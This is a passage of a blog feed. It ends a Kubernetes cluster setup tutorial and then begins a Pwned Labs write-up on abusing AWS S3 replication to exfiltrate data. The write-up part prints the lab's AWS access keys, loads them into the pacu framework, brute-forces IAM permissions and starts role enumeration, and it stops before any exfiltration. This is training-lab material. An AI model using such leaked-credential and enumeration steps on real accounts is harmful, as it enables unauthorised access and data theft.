</span></span></code></pre></div><p>Once the file has been modified we then apply the settings by running the command <code>kubectl apply -f custom-resources.yaml</code> and validate that our system is operational by running the command <code>kubectl get pods -A</code> and confirm that they are all in a ready state.</p>
<h3 id="worker-nodes">Worker Nodes</h3>
<p>The next step is to join the Worker Nodes to the Cluster and for this we need to run the following command on the Control Node</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kubeadm token create --print-join-command
</span></span></code></pre></div><p>This will print out a command that we need to run on the Worker Nodes and once we have added them we can verify by running <code>kubectl get nodes</code></p>
<h3 id="deploy-test-application">Deploy Test Application</h3>
<p>On the Controller we will create a file called <code>pod.yml</code> which will contain the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yml" data-lang="yml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Pod</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx-example</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">labels</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">app</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">image</span>: <span style="color:#ae81ff">linuxserver/nginx</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">containerPort</span>: <span style="color:#ae81ff">80</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;nginx-http&#34;</span>
</span></span></code></pre></div><p>We then apply the file to deploy the pod</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>david@k8s-ctrlr:~$ kubectl apply -f pod.yml
</span></span><span style="display:flex;"><span>pod/nginx-example created
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Check to see that the Pod has been created</span>
</span></span><span style="display:flex;"><span>david@k8s-ctrlr:~ kubectl get pods
</span></span><span style="display:flex;"><span>NAME            READY   STATUS    RESTARTS   AGE
</span></span><span style="display:flex;"><span>nginx-example   1/1     Running   <span style="color:#ae81ff">0</span>          85s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># View more details</span>
</span></span><span style="display:flex;"><span>david@k8s-ctrlr:~$ kubectl get pods -o wide
</span></span><span style="display:flex;"><span>NAME            READY   STATUS    RESTARTS   AGE     IP             NODE         NOMINATED NODE   READINESS GATES
</span></span><span style="display:flex;"><span>nginx-example   1/1     Running   <span style="color:#ae81ff">0</span>          9m57s   10.10.109.66   k8s-node-1   &lt;none&gt;           &lt;none&gt;
</span></span></code></pre></div><p>At present this is only accessible from within side the network and we can test that it deployed correctly by querying it with <code>curl</code> from within K8s</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>david@k8s-ctrlr:~$ curl 10.10.109.66
</span></span><span style="display:flex;"><span>    &lt;html&gt;
</span></span><span style="display:flex;"><span>        &lt;head&gt;
</span></span><span style="display:flex;"><span>            &lt;title&gt;Welcome to our server&lt;/title&gt;
</span></span><span style="display:flex;"><span>            &lt;style&gt;
</span></span><span style="display:flex;"><span>            body<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                font-family: Helvetica, Arial, sans-serif;
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            .message<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                width:330px;
</span></span><span style="display:flex;"><span>                padding:20px 40px;
</span></span><span style="display:flex;"><span>                margin:0 auto;
</span></span><span style="display:flex;"><span>                background-color:#f9f9f9;
</span></span><span style="display:flex;"><span>                border:1px solid <span style="color:#75715e">#ddd;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            center<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                margin:40px 0;
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            h1<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                font-size: 18px;
</span></span><span style="display:flex;"><span>                line-height: 26px;
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            p<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                font-size: 12px;
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            &lt;/style&gt;
</span></span><span style="display:flex;"><span>        &lt;/head&gt;
</span></span><span style="display:flex;"><span>        &lt;body&gt;
</span></span><span style="display:flex;"><span>            &lt;div class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;message&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;h1&gt;Welcome to our server&lt;/h1&gt;
</span></span><span style="display:flex;"><span>                &lt;p&gt;The website is currently being setup under this address.&lt;/p&gt;
</span></span><span style="display:flex;"><span>                &lt;p&gt;For help and support, please contact: &lt;a href<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;me@example.com&#34;</span>&gt;me@example.com&lt;/a&gt;&lt;/p&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>        &lt;/body&gt;
</span></span><span style="display:flex;"><span>    &lt;/html&gt;
</span></span></code></pre></div><p>We need to create a Service to enable this to be accessible from outside the internal network, so we will create a file called <code>service-nodeport</code> which will contain the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yml" data-lang="yml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Service</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx-example</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">type</span>: <span style="color:#ae81ff">NodePort</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">http</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">port</span>: <span style="color:#ae81ff">80</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">nodePort</span>: <span style="color:#ae81ff">30080</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">targetPort</span>: <span style="color:#ae81ff">nginx-http</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">selector</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">app</span>: <span style="color:#ae81ff">nginx</span>
</span></span></code></pre></div><p>We then apply the file and verify that the service is running</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>david@k8s-ctrlr:~$ kubectl apply -f service-nodeport.yml
</span></span><span style="display:flex;"><span>service/nginx-example created
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Check that the service is online</span>
</span></span><span style="display:flex;"><span>david@k8s-ctrlr:~$ kubectl get service
</span></span><span style="display:flex;"><span>NAME            TYPE        CLUSTER-IP      EXTERNAL-IP   PORT<span style="color:#f92672">(</span>S<span style="color:#f92672">)</span>        AGE
</span></span><span style="display:flex;"><span>kubernetes      ClusterIP   10.96.0.1       &lt;none&gt;        443/TCP        27h
</span></span><span style="display:flex;"><span>nginx-example   NodePort    10.101.177.98   &lt;none&gt;        80:30080/TCP   11s
</span></span></code></pre></div><p>We can now navigate to any of the IP Addresses of our controller or nodes using the port 30080 that we specified and we have the website page</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl http://192.168.8.81:30080/
</span></span><span style="display:flex;"><span>    &lt;html&gt;
</span></span><span style="display:flex;"><span>        &lt;head&gt;
</span></span><span style="display:flex;"><span>            &lt;title&gt;Welcome to our server&lt;/title&gt;
</span></span><span style="display:flex;"><span>            &lt;style&gt;
</span></span><span style="display:flex;"><span>            body<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                font-family: Helvetica, Arial, sans-serif;
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            .message<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                width:330px;
</span></span><span style="display:flex;"><span>                padding:20px 40px;
</span></span><span style="display:flex;"><span>                margin:0 auto;
</span></span><span style="display:flex;"><span>                background-color:#f9f9f9;
</span></span><span style="display:flex;"><span>                border:1px solid <span style="color:#75715e">#ddd;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            center<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                margin:40px 0;
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            h1<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                font-size: 18px;
</span></span><span style="display:flex;"><span>                line-height: 26px;
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            p<span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                font-size: 12px;
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            &lt;/style&gt;
</span></span><span style="display:flex;"><span>        &lt;/head&gt;
</span></span><span style="display:flex;"><span>        &lt;body&gt;
</span></span><span style="display:flex;"><span>            &lt;div class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;message&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;h1&gt;Welcome to our server&lt;/h1&gt;
</span></span><span style="display:flex;"><span>                &lt;p&gt;The website is currently being setup under this address.&lt;/p&gt;
</span></span><span style="display:flex;"><span>                &lt;p&gt;For help and support, please contact: &lt;a href<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;me@example.com&#34;</span>&gt;me@example.com&lt;/a&gt;&lt;/p&gt;
</span></span><span style="display:flex;"><span>            &lt;/div&gt;
</span></span><span style="display:flex;"><span>        &lt;/body&gt;
</span></span><span style="display:flex;"><span>    &lt;/html&gt;
</span></span></code></pre></div><h3 id="delete-test-application">Delete Test Application</h3>
<p>To delete the test application, we need to run the following commands</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Delete Pod</span>
</span></span><span style="display:flex;"><span>david@k8s-ctrlr:~$ kubectl delete pod nginx-example
</span></span><span style="display:flex;"><span>pod <span style="color:#e6db74">&#34;nginx-example&#34;</span> deleted
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Delete Service</span>
</span></span><span style="display:flex;"><span>david@k8s-ctrlr:~$ kubectl delete service nginx-example
</span></span><span style="display:flex;"><span>service <span style="color:#e6db74">&#34;nginx-example&#34;</span> deleted
</span></span></code></pre></div><p>We have now successfully installed Kubernetes.</p>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Abuse S3 Replication and Batch Ops to Exfiltrate Data</title>
            <link>https://www.nephos.guru/posts/2024/s3replicationbatchops/</link>
            <pubDate>Wed, 19 Jun 2024 15:58:11 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/s3replicationbatchops/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/abuse-s3-replication-and-batch-ops-to-exfiltrate-data&#34;&gt;Pwned Labs - Abuse S3 Replication and Batch Ops to Exfiltrate Data&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
&lt;p&gt;During the external part of the assessment for a client, you identified credentials stored in a zip file for an AWS IAM user. Use these credentials and show the client the impact of this breach!&lt;/p&gt;
&lt;h2 id=&#34;learning-outcomes&#34;&gt;Learning Outcomes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Modify S3 bucket replication settings to exfiltrate new data&lt;/li&gt;
&lt;li&gt;Modify S3 batch operations settings to exfiltrate existing data&lt;/li&gt;
&lt;li&gt;Manual S3 enumeration and rights testing&lt;/li&gt;
&lt;li&gt;Identifying attack vectors with manual IAM enumeration&lt;/li&gt;
&lt;li&gt;Identifying assigned IAM permissions using aws-enumerator&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;aws-access-credentials&#34;&gt;AWS Access Credentials&lt;/h2&gt;
&lt;p&gt;Access Keys: AKIAUSHNW2N36BBJBMQF&lt;br&gt;
Secret Access Keys: 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&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/abuse-s3-replication-and-batch-ops-to-exfiltrate-data">Pwned Labs - Abuse S3 Replication and Batch Ops to Exfiltrate Data</a></p>
<h2 id="scenario">Scenario</h2>
<p>During the external part of the assessment for a client, you identified credentials stored in a zip file for an AWS IAM user. Use these credentials and show the client the impact of this breach!</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>Modify S3 bucket replication settings to exfiltrate new data</li>
<li>Modify S3 batch operations settings to exfiltrate existing data</li>
<li>Manual S3 enumeration and rights testing</li>
<li>Identifying attack vectors with manual IAM enumeration</li>
<li>Identifying assigned IAM permissions using aws-enumerator</li>
</ul>
<h2 id="aws-access-credentials">AWS Access Credentials</h2>
<p>Access Keys: AKIAUSHNW2N36BBJBMQF<br>
Secret Access Keys: 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</p>
<hr>
<p>This write up doesn&rsquo;t follow the specific walkthrough as my intention was to find multiple ways to be able to complete the same activity which, in my opinion, is one of the major differentiators for Pwned Labs is that there are multiple ways to achieve the end objective.</p>
<blockquote>
<p>I did respawn this lab a couple of times during the documentation so if you notice any different Account ID&rsquo;s or S3 bucket names, this is the reason why.</p>
</blockquote>
<p>As we have been provided with credentials, the first thing we have to do is configure our profile and confirm that they are valid.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws configure --profile pentester
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>****************HZLI<span style="color:#f92672">]</span>: AKIAUSHNW2N36BBJBMQF
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>****************hY3c<span style="color:#f92672">]</span>: bzLI8l7//wSXRJvmvPVfg31aQFvWslMIFO2zwNMV
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AIDAUSHNW2N33LJ7TPUPP&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;314031133559&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::314031133559:user/tier2_eng&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We are going to start the enumeration initially with <a href="https://github.com/RhinoSecurityLabs/pacu">pacu</a> to increase our familiarity with the tool.  When we launch it, we need to create a project and then import our keys.  Once this has been completed, we can run the <code>whoami</code> command to verify that this has worked successfully.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Pacu <span style="color:#f92672">(</span>pwnedlabs-s3repl:No Keys Set<span style="color:#f92672">)</span> &gt; import_keys pentester
</span></span><span style="display:flex;"><span>  Imported keys as <span style="color:#e6db74">&#34;imported-pentester&#34;</span>
</span></span><span style="display:flex;"><span>Pacu <span style="color:#f92672">(</span>pwnedlabs-s3repl:imported-pentester<span style="color:#f92672">)</span> &gt;
</span></span><span style="display:flex;"><span>Pacu <span style="color:#f92672">(</span>pwnedlabs-s3repl:imported-pentester<span style="color:#f92672">)</span> &gt; whoami
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;UserName&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;RoleName&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Arn&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;AccountId&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;UserId&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Roles&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Groups&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Policies&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;AccessKeyId&#34;</span>: <span style="color:#e6db74">&#34;AIDAUSHNW2N33LJ7TPUPP&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;SecretAccessKey&#34;</span>: <span style="color:#e6db74">&#34;bzLI8l7//wSXRJvmvPVf********************&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;SessionToken&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;KeyAlias&#34;</span>: <span style="color:#e6db74">&#34;imported-pentester&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;PermissionsConfirmed&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Permissions&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Allow&#34;</span>: <span style="color:#f92672">{}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Deny&#34;</span>: <span style="color:#f92672">{}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We have verified that our credentials work and next we will brute force IAM permissions by running the command <code>run iam__bruteforce_permissions</code> which takes a while and produces a lot of output on the screen. The following is the summary</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>iam__bruteforce_permissions<span style="color:#f92672">]</span> Allowed Permissions:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  ec2:
</span></span><span style="display:flex;"><span>    get_associated_enclave_certificate_iam_roles
</span></span><span style="display:flex;"><span>    get_host_reservation_purchase_preview
</span></span><span style="display:flex;"><span>    get_associated_enclave_certificate_iam_roles
</span></span><span style="display:flex;"><span>    get_host_reservation_purchase_preview
</span></span><span style="display:flex;"><span>    get_associated_enclave_certificate_iam_roles
</span></span><span style="display:flex;"><span>    get_host_reservation_purchase_preview
</span></span><span style="display:flex;"><span>    get_associated_enclave_certificate_iam_roles
</span></span><span style="display:flex;"><span>    get_host_reservation_purchase_preview
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  s3:
</span></span><span style="display:flex;"><span>    get_bucket_accelerate_configuration
</span></span><span style="display:flex;"><span>    get_bucket_acl
</span></span><span style="display:flex;"><span>    get_bucket_analytics_configuration
</span></span><span style="display:flex;"><span>    get_bucket_cors
</span></span><span style="display:flex;"><span>    get_bucket_encryption
</span></span><span style="display:flex;"><span>    get_bucket_intelligent_tiering_configuration
</span></span><span style="display:flex;"><span>    get_bucket_inventory_configuration
</span></span><span style="display:flex;"><span>    get_bucket_lifecycle
</span></span><span style="display:flex;"><span>    get_bucket_lifecycle_configuration
</span></span><span style="display:flex;"><span>    get_bucket_logging
</span></span><span style="display:flex;"><span>    get_bucket_notification
</span></span><span style="display:flex;"><span>    get_bucket_notification_configuration
</span></span><span style="display:flex;"><span>    get_bucket_ownership_controls
</span></span><span style="display:flex;"><span>    get_bucket_policy
</span></span><span style="display:flex;"><span>    get_bucket_replication
</span></span><span style="display:flex;"><span>    get_bucket_request_payment
</span></span><span style="display:flex;"><span>    get_bucket_tagging
</span></span><span style="display:flex;"><span>    get_bucket_versioning
</span></span><span style="display:flex;"><span>    get_bucket_website
</span></span><span style="display:flex;"><span>    get_object_lock_configuration
</span></span><span style="display:flex;"><span>    get_object_torrent
</span></span><span style="display:flex;"><span>    head_bucket
</span></span><span style="display:flex;"><span>    list_bucket_analytics_configurations
</span></span><span style="display:flex;"><span>    list_bucket_intelligent_tiering_configurations
</span></span><span style="display:flex;"><span>    list_bucket_inventory_configurations
</span></span><span style="display:flex;"><span>    list_buckets
</span></span><span style="display:flex;"><span>    get_bucket_accelerate_configuration
</span></span><span style="display:flex;"><span>    get_bucket_acl
</span></span><span style="display:flex;"><span>    get_bucket_analytics_configuration
</span></span><span style="display:flex;"><span>    get_bucket_cors
</span></span><span style="display:flex;"><span>    get_bucket_encryption
</span></span><span style="display:flex;"><span>    get_bucket_intelligent_tiering_configuration
</span></span><span style="display:flex;"><span>    get_bucket_inventory_configuration
</span></span><span style="display:flex;"><span>    get_bucket_lifecycle
</span></span><span style="display:flex;"><span>    get_bucket_lifecycle_configuration
</span></span><span style="display:flex;"><span>    get_bucket_logging
</span></span><span style="display:flex;"><span>    get_bucket_notification
</span></span><span style="display:flex;"><span>    get_bucket_notification_configuration
</span></span><span style="display:flex;"><span>    get_bucket_ownership_controls
</span></span><span style="display:flex;"><span>    get_bucket_policy
</span></span><span style="display:flex;"><span>    get_bucket_replication
</span></span><span style="display:flex;"><span>    get_bucket_request_payment
</span></span><span style="display:flex;"><span>    get_bucket_tagging
</span></span><span style="display:flex;"><span>    get_bucket_versioning
</span></span><span style="display:flex;"><span>    get_bucket_website
</span></span><span style="display:flex;"><span>    get_object_lock_configuration
</span></span><span style="display:flex;"><span>    get_object_torrent
</span></span><span style="display:flex;"><span>    head_bucket
</span></span><span style="display:flex;"><span>    list_bucket_analytics_configurations
</span></span><span style="display:flex;"><span>    list_bucket_intelligent_tiering_configurations
</span></span><span style="display:flex;"><span>    list_bucket_inventory_configurations
</span></span><span style="display:flex;"><span>    list_buckets
</span></span><span style="display:flex;"><span>    get_bucket_accelerate_configuration
</span></span><span style="display:flex;"><span>    get_bucket_acl
</span></span><span style="display:flex;"><span>    get_bucket_analytics_configuration
</span></span><span style="display:flex;"><span>    get_bucket_cors
</span></span><span style="display:flex;"><span>    get_bucket_encryption
</span></span><span style="display:flex;"><span>    get_bucket_intelligent_tiering_configuration
</span></span><span style="display:flex;"><span>    get_bucket_inventory_configuration
</span></span><span style="display:flex;"><span>    get_bucket_lifecycle
</span></span><span style="display:flex;"><span>    get_bucket_lifecycle_configuration
</span></span><span style="display:flex;"><span>    get_bucket_logging
</span></span><span style="display:flex;"><span>    get_bucket_notification
</span></span><span style="display:flex;"><span>    get_bucket_notification_configuration
</span></span><span style="display:flex;"><span>    get_bucket_ownership_controls
</span></span><span style="display:flex;"><span>    get_bucket_policy
</span></span><span style="display:flex;"><span>    get_bucket_replication
</span></span><span style="display:flex;"><span>    get_bucket_request_payment
</span></span><span style="display:flex;"><span>    get_bucket_tagging
</span></span><span style="display:flex;"><span>    get_bucket_versioning
</span></span><span style="display:flex;"><span>    get_bucket_website
</span></span><span style="display:flex;"><span>    get_object_lock_configuration
</span></span><span style="display:flex;"><span>    get_object_torrent
</span></span><span style="display:flex;"><span>    head_bucket
</span></span><span style="display:flex;"><span>    list_bucket_analytics_configurations
</span></span><span style="display:flex;"><span>    list_bucket_intelligent_tiering_configurations
</span></span><span style="display:flex;"><span>    list_bucket_inventory_configurations
</span></span><span style="display:flex;"><span>    list_buckets
</span></span><span style="display:flex;"><span>    get_bucket_accelerate_configuration
</span></span><span style="display:flex;"><span>    get_bucket_acl
</span></span><span style="display:flex;"><span>    get_bucket_analytics_configuration
</span></span><span style="display:flex;"><span>    get_bucket_cors
</span></span><span style="display:flex;"><span>    get_bucket_encryption
</span></span><span style="display:flex;"><span>    get_bucket_intelligent_tiering_configuration
</span></span><span style="display:flex;"><span>    get_bucket_inventory_configuration
</span></span><span style="display:flex;"><span>    get_bucket_lifecycle
</span></span><span style="display:flex;"><span>    get_bucket_lifecycle_configuration
</span></span><span style="display:flex;"><span>    get_bucket_logging
</span></span><span style="display:flex;"><span>    get_bucket_notification
</span></span><span style="display:flex;"><span>    get_bucket_notification_configuration
</span></span><span style="display:flex;"><span>    get_bucket_ownership_controls
</span></span><span style="display:flex;"><span>    get_bucket_policy
</span></span><span style="display:flex;"><span>    get_bucket_replication
</span></span><span style="display:flex;"><span>    get_bucket_request_payment
</span></span><span style="display:flex;"><span>    get_bucket_tagging
</span></span><span style="display:flex;"><span>    get_bucket_versioning
</span></span><span style="display:flex;"><span>    get_bucket_website
</span></span><span style="display:flex;"><span>    get_object_lock_configuration
</span></span><span style="display:flex;"><span>    get_object_torrent
</span></span><span style="display:flex;"><span>    head_bucket
</span></span><span style="display:flex;"><span>    list_bucket_analytics_configurations
</span></span><span style="display:flex;"><span>    list_bucket_intelligent_tiering_configurations
</span></span><span style="display:flex;"><span>    list_bucket_inventory_configurations
</span></span><span style="display:flex;"><span>    list_buckets
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  logs:
</span></span><span style="display:flex;"><span>    get_log_record
</span></span><span style="display:flex;"><span>    get_log_record
</span></span><span style="display:flex;"><span>    get_log_record
</span></span><span style="display:flex;"><span>    get_log_record
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;--- snip ---&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>iam__bruteforce_permissions<span style="color:#f92672">]</span> iam__bruteforce_permissions completed.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>iam__bruteforce_permissions<span style="color:#f92672">]</span> MODULE SUMMARY:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Services:
</span></span><span style="display:flex;"><span>  Supported: <span style="color:#f92672">[</span><span style="color:#e6db74">&#39;ec2&#39;</span>, <span style="color:#e6db74">&#39;s3&#39;</span>, <span style="color:#e6db74">&#39;logs&#39;</span><span style="color:#f92672">]</span>.
</span></span><span style="display:flex;"><span>  Unsupported: <span style="color:#f92672">[]</span>.
</span></span><span style="display:flex;"><span>  Unknown: 116.
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">116</span> allow permissions found.
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">116</span> unknown permissions found.
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">960</span> deny permissions found.
</span></span></code></pre></div><p>We have commenced enumeration of IAM and we didn&rsquo;t have any rights to view our permissions, but we were able to enumerate our roles and policies</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Pacu <span style="color:#f92672">(</span>pwnedlabs-s3repl:imported-pentester<span style="color:#f92672">)</span> &gt; run iam__enum_users_roles_policies_groups
</span></span><span style="display:flex;"><span>  Running module iam__enum_users_roles_policies_groups...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>iam__enum_users_roles_policies_groups<span style="color:#f92672">]</span> No Users Found
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>iam__enum_users_roles_policies_groups<span style="color:#f92672">]</span>   FAILURE: MISSING NEEDED PERMISSIONS
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>iam__enum_users_roles_policies_groups<span style="color:#f92672">]</span> Found <span style="color:#ae81ff">10</span> roles
